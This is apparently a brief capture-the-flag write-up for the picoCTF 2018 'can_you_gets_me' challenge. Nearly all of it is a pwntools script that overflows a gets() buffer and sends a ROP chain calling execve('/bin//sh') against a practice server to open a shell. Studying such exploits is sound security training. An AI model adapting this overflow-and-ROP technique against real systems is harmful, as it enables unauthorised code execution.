picoctf_2018_can_you_gets_me
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直接ropgadget生成的rop chain即可。
from pwn import *
from struct import pack
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28231)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p = b''
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
r.sendline(b'a' * (0x18 + 4) + p)
r.interactive()